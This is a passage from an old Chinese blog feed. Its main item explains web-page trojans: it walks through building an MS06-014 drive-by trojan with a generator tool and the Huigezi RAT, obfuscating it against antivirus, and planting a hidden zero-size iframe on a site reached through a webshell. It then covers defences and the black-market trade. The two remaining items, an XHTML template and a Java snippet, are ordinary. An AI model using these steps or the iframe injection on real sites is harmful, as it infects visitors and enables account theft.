<p>&nbsp;&nbsp;&nbsp; 网页木马就是将木马和网页结合在一起，打开网页的同时也会运行木马。最初的网页木马原理是利用IE浏览器的ActiveX控件，运行网页木马后会弹出一个控件下载提示，只有点击确认后才会运行其中的木马。这种网页木马在当时网络安全意识普遍不高的情况下还是有一点使用价值的，但是其缺点是显而易见的，就是会出现ActiveX控件下载提示。当然现在很少会有人去点击那莫名其妙的ActiveX控件下载确认窗口。</p>
<p>&nbsp;&nbsp;&nbsp; 在这种情况下，新的网页木马诞生了。这类网页木马通常利用了IE浏览器的漏洞，在运行的时候没有丝毫提示，因此隐蔽性极高。可以说，正是IE浏览器层出不穷的漏洞造成了如今网页木马横行的网络。例如最近的IE浏览器漏洞MS06-014，就可以利用来制作一个绝对隐蔽的网页木马。下面让我们看看利用MS06-014制作网页木马的过程。</p>
<p>&nbsp;&nbsp;&nbsp; 网页木马当然得有木马程序，这里我们使用上文中提到的&ldquo;灰鸽子&rdquo;木马。然后我们要下载一个MS06-014网页木马生成器。接着还要一个网页空间，三者准备完毕后，就可以开始测试了。</p>
<p><strong>生成网页木马</strong><br />&nbsp;&nbsp;&nbsp; 首先将木马程序上传到网页空间中。运行&ldquo;MS06-014木马生成器&rdquo;，在&ldquo;木马地址&rdquo;中填入已经上传到空间中的木马网址，并勾选下方的&ldquo;是否隐藏源码&rdquo;选项。这个选项的作用是当网页木马运行后，会自动清空网页源文件，用户即使起了疑心也无法找到痕迹。当然清空的是用户打开的源文件，而网页木马却不受影响。点击&ldquo;生成网马&rdquo;按钮即可在程序的同目录生成一个名为muma.htm的网页木马</p>
<p><br /><strong>配置网页木马</strong><br />&nbsp;&nbsp;&nbsp; 继续进行网页木马的配置，在&ldquo;欲加密的网页&rdquo;中浏览选中生成的网页木马。网页木马在运行时会利用IE的漏洞，其中肯定存在漏洞利用代码，这些代码会被杀毒软件检测出来，因此要想隐蔽地运行网页木马，加密木马程序还不够，还需对网页木马进行加密。&ldquo;MS06-014木马生成器&rdquo;的&ldquo;加密方式&rdquo;中提供了四种网页的加密方式，分别是：空字符加密、转义字符加密、Escape加密和拆分特征码。这里我们使用&ldquo;转义字符加密&rdquo;加密方式，选中&ldquo;转义字符加密&rdquo;选项后点击&ldquo;加密&rdquo;按钮，免杀的网页木马就生成了。将该加密过的网页木马上传到网页空间中即可。</p>
<p><strong>寻找缺陷网站，写入网页木马</strong><br />&nbsp;&nbsp;&nbsp; 网页木马准备完毕，就等着寻找挂马的目标网站了。此时黑客会到处搜索，寻找有脚本缺陷的网站程序，找到后利用网站程序的漏洞入侵网站，并得到网站的一个webshell。这时我们可以编辑网站首页的内容，将挂马的代码插入即可。代码为：&lt;iframe src=&quot;http://127.0.0.1/muma.htm&quot; width=&quot;0&quot; height=&quot;0&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;，src参数后面的是网页木马的地址。当我们打开这个网站的首页后，会弹出网页木马的页面，这个页面我们是无法看到的，因为我们在代码中设置了弹出页面的窗口长宽各为0。此时木马也已经悄悄下载到本机并运行了。我们可以看到，网站的首页显示正常，杀毒软件并没有任何反应，而木马却已经运行了，可见木马的隐蔽性很高，危害也相当严重。成功运行木马</p>
<p><strong>铲除网站&ldquo;挂马&rdquo;毒瘤</strong><br />&nbsp;&nbsp;&nbsp; &ldquo;挂马&rdquo;攻击已经成为目前最流行的攻击方式，面对数量庞大的&ldquo;挂马&rdquo;网站，我们该如何防御呢？作为一名网站站长，我们又如何知道自己的网站被人挂马了呢？</p>
<p>&nbsp;&nbsp;&nbsp; 站长防范：如果你是一名站长，可以对网站首页以及其他主要页面的源代码进行检查，用记事本打开这些页面后，以&ldquo;&lt;iframe&gt;&rdquo;为关键字进行搜索，找到后可以查看是否是挂马代码。不过碰上有经验的黑客，会编写一段代码将整句挂马代码进行加密，这样我们就很难找到网页中的挂马代码。这时可以将所有网页文件按修改时间进行排序，如果有个别网页被修改，我们可以很快地发现。</p>
<p>&nbsp;&nbsp;&nbsp; 当然，最好的办法就是设置好网站的权限，对于使用动态语言编写的网站，一般对网页文件是不需要改动的，所有的数据都存储在数据库中。因此我们可以只对数据库所在的文件夹设置写权限，而对整个网站文件夹设置只读权限，这样即使网站存在漏洞，黑客也别想通过脚本漏洞入侵网站，更别说在主页上挂马了。</p>
<p>&nbsp;&nbsp;&nbsp; 普通用户防范：普通用户关心的自然是如何防范&ldquo;挂马&rdquo;攻击。既然杀毒软件在网页木马面前成了&ldquo;睁眼瞎&rdquo;，而我们又无法感知网站是否被&ldquo;挂马&rdquo;。在这种情况下，我们岂不是任人宰割？我们已经知道网页木马的运行原理利用了IE浏览器的漏洞，因此只要我们及时更新系统补丁就可以让网页木马失效了。开启系统&ldquo;自动更新&rdquo;的方法为：右键点击&ldquo;我的电脑&rdquo;，选择&ldquo;属性&rdquo;，切换到&ldquo;自动更新&rdquo;标签，选中其中的&ldquo;自动（推荐）&rdquo;即可。此外我们也可以使用&ldquo;360安全卫士&rdquo;等具有补丁更新功能的软件。运行&ldquo;360安全卫士&rdquo;后，点击&ldquo;修复&rdquo;&rarr;修复系统漏洞，即可查看系统的补丁状态，勾选未安装的补丁下载即可。使用&ldquo;360安全卫士&rdquo;更新补丁</p>
<p>&nbsp;&nbsp;&nbsp; 杀毒软件在网页木马前失去了作用，不代表我们就拿它没辙。我们可以使用一款名为System Safety Monitor（以下简称为SSM）的软件，在它的监控下，没有一个木马病毒可以躲过它的眼睛。安装完毕后运行，其自动最小化到系统任务栏，开始对系统进行监控。SSM的监控功能相当强悍，系统内部的一些操作也会被监控并提醒。让我们看看SSM对付这种加密过的网页木马效果如何，打开挂有木马XXXX.com程序，其意思是IE浏览器想运行XXXX.com这个可执行程序。IE浏览器对于可执行程序是提示下载的，而不会直接运行，由此可见其中的猫腻，此时我们点击&ldquo;拒绝&rdquo;按钮就可以阻止网页木马的运行了。SSM的监控原理和杀毒软件不同，其最大特点是可以监控到所有的网页木马，由于其使用较一般安全软件来得复杂，因此建议中高级用户使用。</p>
<p><strong>网站挂马行业揭秘</strong></p>
<p>经常会在一些论坛和站点看到这样类似的广告：&ldquo;万IP120元，日结！联系QQ：XXXXX&rdquo;而往往加了QQ以后，都会被要求在页面挂上一段类似开篇时提到的&lt;iframe src=&quot;http://127.0.0.1&quot; height=0 width=0&gt;&lt;/iframe&gt;，而打开中间的链接地址，往往只会有一个站长统计显示。如果您曾经接触过这样类型的情景，那么恭喜您，这就是传说中的挂马行业大军了。在做这篇报道时，小编专门约了两名与挂马行业有密切联系的人，一名是曾经的挂马销售员，另外一名是挂马站长。从这两位业内人士描述中，让我们一起了解这个神秘行业。</p>
<p><strong>挂马方：金字塔结构形式</strong></p>
<p>&ldquo;一般，挂马的目的无非是为了盗取游戏帐号、QQ密码以及服务器资源和刷流量。&rdquo;挂马业内销售小K这样跟小编说道挂马目的。挂马者先是找技术人员写出马来，而后招募马仔以万IP180-200的价格出货，一般，程序员写出来的马又分免杀加壳和不免杀加壳以及不免杀等几个类型。（免杀的意思就是装杀毒软件并不能扫描出有病毒木马来。）而一线的马仔又把从挂马者那拿到的代码以万IP160-180的价格出货给下一层销售人员，再由下一层的销售人员通过QQ、邮件、广告等方式具体销售给挂马的站长们。一般来讲一个新马出来的时间不会太长就会失效。而且幕后的老板（也就是挂马者）很容易跑路，所以，挂马时都采取日结的方式（每天现金结算一次）。而统计IP则是采用页面上放置的站长统计。</p>
<p><strong>站长：多数挂马站长知情并乐此不疲</strong></p>
<p>&ldquo;其实我知道这是个缺德的行为，但是站长也得吃饭呀！&rdquo;站长小Z在接受访问时无奈的表示。自从06年以来，中国站长网赚圈就低迷了许多，钱越来越不容易赚。联盟月结算，扣量，延发拥金等种种因素，让更多的站长选择了挂马这种来钱快的行业。&ldquo;我有很多的站点，就是你们口中的垃圾站，一个站一天几千IP，如果做网络联盟，一个月也就200左右，而挂马，一个月大几千。但是，也是有选择性的挂，比如一些擦边图片站，一些俗站。正规类的站点是打死也不挂的。&rdquo;小Z谈到挂马和联盟收入的差距时说道。收入差距大，佣金支付快，虽然也会经常遇到挂了一天就跑路的，但损失也不大。但也并不是所有站长像小Z这样幸运。另一名曾经挂马的站长小X就因为挂马被抓进去呆了一段时间。&ldquo;本来以为挂马并没什么，谁能想到是恶意传播病毒？被相关机关抓去了才知道自己犯法了。&rdquo;小X至今谈到被抓当晚还心有余悸。但是挂马者也不是什么站都收的，流量上要有限制，一般起点是日IP1000以上，并且还要纯流量。闹腾最大动静的2007年，很多站点都被挂了马，有主动的，有被动。当时作为业内最大站点的中国站长站为此还专门策划了个专题去号召站长们抵制挂马，净化中国网络环境。</p>]]></description>
		</item>
		
			<item>
			<link>http://blog.flashtc.com/default.asp?id=193</link>
			<title><![CDATA[XHTML 标准代码]]></title>
			<author>inlhx@163.com(阿刘)</author>
			<category><![CDATA[CSS]]></category>
			<pubDate>Tue,22 Apr 2008 20:53:17 +0800</pubDate>
			<guid>http://blog.flashtc.com/default.asp?id=193</guid>	
		<description><![CDATA[TOP&nbsp;Code/头部代码<br/>--------------------------------------------------------<br/>&lt;!--(1)过渡型（Transitional&nbsp;）--&gt;<br/>&lt;!DOCTYPE&nbsp;html&nbsp;PUBLIC&nbsp;&#34;-//W3C//DTD&nbsp;XHTML&nbsp;1.0&nbsp;Transitional//EN&#34;&nbsp;&#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&#34;&gt;&nbsp;<br/>&lt;!--(2)严格型（Strict&nbsp;）--&gt;<br/>&lt;!DOCTYPE&nbsp;html&nbsp;PUBLIC&nbsp;&#34;-//W3C//DTD&nbsp;XHTML&nbsp;1.0&nbsp;Strict//EN&#34;&nbsp;&#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd</a>&#34;&gt;&nbsp;<br/>&lt;!--(3)框架型（Frameset&nbsp;）--&gt;<br/>&lt;!DOCTYPE&nbsp;html&nbsp;PUBLIC&nbsp;&#34;-//W3C//DTD&nbsp;XHTML&nbsp;1.0&nbsp;Frameset//EN&#34;&nbsp;&#34;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd" target="_blank">http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd</a>&#34;&gt;<br/>&lt;!--设定一个名字空间（Namespace）lang=&#34;zh-CN&#34;/--&gt;<br/>&lt;html&nbsp;xmlns=&#34;<a href="http://www.w3.org/1999/xhtml" target="_blank">http://www.w3.org/1999/xhtml</a>&#34;&nbsp;lang=&#34;zh-CN&#34;&gt;<br/>&lt;head&gt;<br/>&lt;!--声明你的编码语言:GB2312/UTF-8/Unicode/ISO-8859-1--&gt;<br/>&lt;meta&nbsp;http-equiv=&#34;Content-Type&#34;&nbsp;content=&#34;text/html;&nbsp;charset=GB2312&#34;&nbsp;/&gt;<br/>&lt;meta&nbsp;http-equiv=&#34;Content-Language&#34;&nbsp;content=&#34;zh-CN&#34;&nbsp;/&gt;<br/>&lt;!--为搜索引擎准备的内容--&gt;<br/>&lt;!--允许搜索机器人搜索站内所有链接。如果你想某些页面不被搜索，推荐采用robots.txt方法--&gt;<br/>&lt;meta&nbsp;content=&#34;all&#34;&nbsp;/&gt;&nbsp;<br/>&lt;!--设置站点作者信息--&gt;<br/>&lt;meta&nbsp;content=&#34;ajie@netease.com,阿捷&#34;&nbsp;/&gt;&nbsp;<br/>&lt;!--设置站点版权信息--&gt;<br/>&lt;meta&nbsp;content=&#34;www.w3cn.org,自由版权,任意转载&#34;&nbsp;/&gt;&nbsp;<br/>&lt;!--站点的简要介绍(推荐)--&gt;<br/>&lt;meta&nbsp;content=&#34;新网页设计师。web标准的教程站点，推动web标准在中国的应用&#34;&nbsp;/&gt;&nbsp;<br/>&lt;!--站点的关键词(推荐)--&gt;<br/>&lt;meta&nbsp;content=&#34;designing,&nbsp;with,&nbsp;web,&nbsp;standards,&nbsp;xhtml,&nbsp;css,&nbsp;graphic,&nbsp;design,&nbsp;layout,&nbsp;usability,&nbsp;ccessibility,&nbsp;w3c,&nbsp;w3,&nbsp;w3cn,&nbsp;ajie&#34;&nbsp;/&gt;&nbsp;<br/>&lt;!--收藏夹小图标--&gt;<br/>&lt;link&nbsp;rel=&#34;icon&#34;&nbsp;href=&#34;/favicon.ico&#34;&nbsp;type=&#34;image/x-icon&#34;&nbsp;/&gt;<br/>&lt;link&nbsp;rel=&#34;shortcut&nbsp;icon&#34;&nbsp;href=&#34;/favicon.ico&#34;&nbsp;type=&#34;image/x-icon&#34;&nbsp;/&gt;<br/>&lt;title&gt;网页标题&lt;/title&gt;<br/>&lt;!--连接样式表--&gt;<br/>&lt;link&nbsp;rel=&#34;stylesheet&#34;&nbsp;rev=&#34;stylesheet&#34;&nbsp;href=&#34;css/style.css&#34;&nbsp;type=&#34;text/css&#34;&nbsp;media=&#34;all&#34;&nbsp;/&gt;<br/>&lt;style&nbsp;type=&#34;text/css&#34;&nbsp;media=&#34;all&#34;&gt;@import&nbsp;url(&nbsp;css/style01.css&nbsp;);&lt;/style&gt;<br/>&lt;!--RSS--&gt;<br/>&lt;link&nbsp;rel=&#34;alt&#101;rnate&#34;&nbsp;type=&#34;application/rss+xml&#34;&nbsp;title=&#34;greengnn&#39;s&nbsp;space&#34;&nbsp;href=&#34;<a href="http://www.jluvip.com/blog/feed.asp" target="_blank">http://www.jluvip.com/blog/feed.asp</a>&#34;&nbsp;/&gt;<br/>&lt;!--JS--&gt;<br/>&lt;script&nbsp;type=&#34;text/javascript&#34;&nbsp;language=&#34;javascript&#34;&nbsp;&#34;&gt;&lt;/script&gt;<br/>&lt;/head&gt;<br/>&lt;body&gt;&lt;/body&gt;<br/>&lt;/html&gt;<br/><br/>--------------------------------------------------------<br/><br/>Flash嵌入代码<br/>--------------------------------------------------------<br/><br/>&lt;object&nbsp;classid=&#34;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&#34;&nbsp;codebase=&#34;<a href="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" target="_blank">http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab</a>#version=6,0,40,0&#34;&nbsp;width=&#34;300&#34;&nbsp;height=&#34;120&#34;&gt;<br/>&lt;param&nbsp;value=&#34;<a href="http://www.macromedia.com/shockwave/download/triggerpages_mmcom/flash.swf" target="_blank">http://www.macromedia.com/shockwave/download/triggerpages_mmcom/flash.swf</a>&#34;&gt;<br/>&lt;param&nbsp;value=&#34;high&#34;&gt;<br/>&lt;param&nbsp;value=&#34;#FFFFFF&#34;&gt;<br/>&lt;!--[if&nbsp;!IE]&gt;&nbsp;&lt;--&gt;<br/>&lt;object&nbsp;data=&#34;<a href="http://www.macromedia.com/shockwave/download/triggerpages_mmcom/flash.swf" target="_blank">http://www.macromedia.com/shockwave/download/triggerpages_mmcom/flash.swf</a>&#34;&nbsp;width=&#34;300&#34;&nbsp;height=&#34;120&#34;&nbsp;type=&#34;application/x-shockwave-flash&#34;&gt;<br/>&lt;param&nbsp;value=&#34;high&#34;&gt;<br/>&lt;param&nbsp;value=&#34;#FFFFFF&#34;&gt;<br/>&lt;param&nbsp;value=&#34;<a href="http://www.macromedia.com/go/getflashplayer" target="_blank">http://www.macromedia.com/go/getflashplayer</a>&#34;&gt;<br/>FAIL&nbsp;(the&nbsp;browser&nbsp;should&nbsp;render&nbsp;some&nbsp;flash&nbsp;content,&nbsp;not&nbsp;this).<br/>&lt;/object&gt;<br/>&lt;!--&gt;&nbsp;&lt;![endif]--&gt;<br/><br/>&lt;/object&gt;<br/><br/>--------------------------------------------------------<br/><br/>fildset&nbsp;&amp;&nbsp;legend：fildset套在表单外，legend用于描述表单内容。<br/><br/>&lt;form&gt;<br/>&lt;fildset&gt;<br/>&lt;legend&gt;title&lt;/legend&gt;<br/>&lt;label&nbsp;for=&#34;user-password&#34;&gt;密　码&lt;/label&gt;<br/>&lt;input&nbsp;type=&#34;password&#34;&nbsp;/&gt;<br/>&lt;/fieldset&gt;<br/>&lt;/form&gt;<br/><br/>dl,dt,dd：当页面中出现第一行为类似标题/简述，然后下面为详细描述的内容时应该使用该标签<br/><br/>&lt;dl&gt;<br/>&lt;dt&gt;&lt;/dt&gt;<br/>&lt;dd&gt;&lt;/dd&gt;<br/>&lt;dt&gt;&lt;/dt&gt;<br/>&lt;dd&gt;&lt;/dd&gt;<br/>&lt;/dl&gt;<br/><br/>ul,li无序列表<br/><br/>&lt;ul&gt;<br/>&lt;li&gt;&lt;/li&gt;<br/>&lt;li&gt;&lt;/li&gt;<br/>&lt;/ul&gt;<br/><br/>ol,li有序列表<br/><br/>&lt;ol&gt;<br/>&lt;li&gt;&lt;/li&gt;<br/>&lt;li&gt;&lt;/li&gt;<br/>&lt;/ol&gt;<br/>]]></description>
		</item>
		
			<item>
			<link>http://blog.flashtc.com/default.asp?id=192</link>
			<title><![CDATA[Java读写替换字符]]></title>
			<author>inlhx@163.com(阿刘)</author>
			<category><![CDATA[Java]]></category>
			<pubDate>Mon,21 Apr 2008 14:43:35 +0800</pubDate>
			<guid>http://blog.flashtc.com/default.asp?id=192</guid>	
		<description><![CDATA[<br/>import&nbsp;java.io.BufferedReader;&nbsp;<br/>import&nbsp;java.io.File;<br/>import&nbsp;java.io.FileOutputStream;<br/>import&nbsp;java.io.FileReader;&nbsp;<br/>import&nbsp;java.io.IOException;&nbsp;<br/><br/>public&nbsp;class&nbsp;read&nbsp;{<br/><br/>&#160;&#160;&#160;&#160;/**<br/>&#160;&#160;&#160;&#160;&nbsp;*&nbsp;@param&nbsp;args<br/>&#160;&#160;&#160;&#160;&nbsp;*/<br/>&#160;&#160;&#160;&#160;public&nbsp;static&nbsp;void&nbsp;main(String[]&nbsp;args)&nbsp;{<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;File&nbsp;file&nbsp;=&nbsp;new&nbsp;File(&#34;c:\\ax.txt&#34;);&nbsp;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;String[]&nbsp;Arr1&nbsp;=&nbsp;null;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;try&nbsp;{<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;BufferedReader&nbsp;input&nbsp;=&nbsp;new&nbsp;BufferedReader(new&nbsp;FileReader(file));<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;String&nbsp;text;<br/><br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;int&nbsp;b&nbsp;=&nbsp;0;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;String&nbsp;txt&nbsp;=&nbsp;&#34;&#34;;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;while&nbsp;((text&nbsp;=&nbsp;input.readLine())&nbsp;!=&nbsp;null)&nbsp;{<br/>&nbsp;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;System.out.println();<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;txt&nbsp;=&nbsp;&#34;\&#34;&#34;&nbsp;+&nbsp;text.replace(&#34;,&#34;,&nbsp;&#34;\&#34;,\&#34;&#34;)&nbsp;+&nbsp;&#34;\&#34;&#34;;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;System.out.print(txt);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;writerText(txt&nbsp;+&nbsp;&#34;\r\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}&nbsp;catch&nbsp;(Exception&nbsp;ex)&nbsp;{<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;ex.printStackTrace();<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}&nbsp;<br/>&#160;&#160;&#160;&#160;}<br/><br/>&#160;&#160;&#160;&#160;public&nbsp;static&nbsp;void&nbsp;writerText(String&nbsp;content)&nbsp;{<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;try&nbsp;{<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;FileOutputStream&nbsp;bw1&nbsp;=&nbsp;new&nbsp;FileOutputStream(&#34;c:\\n.txt&#34;,&nbsp;true);<br/><br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;bw1.write(content.getBytes());<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;bw1.flush();<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;bw1.close();<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}&nbsp;catch&nbsp;(IOException&nbsp;e)&nbsp;{<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;e.printStackTrace();<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}<br/><br/>&#160;&#160;&#160;&#160;}<br/><br/>}]]></description>
		</item>
		
</channel>
</rss>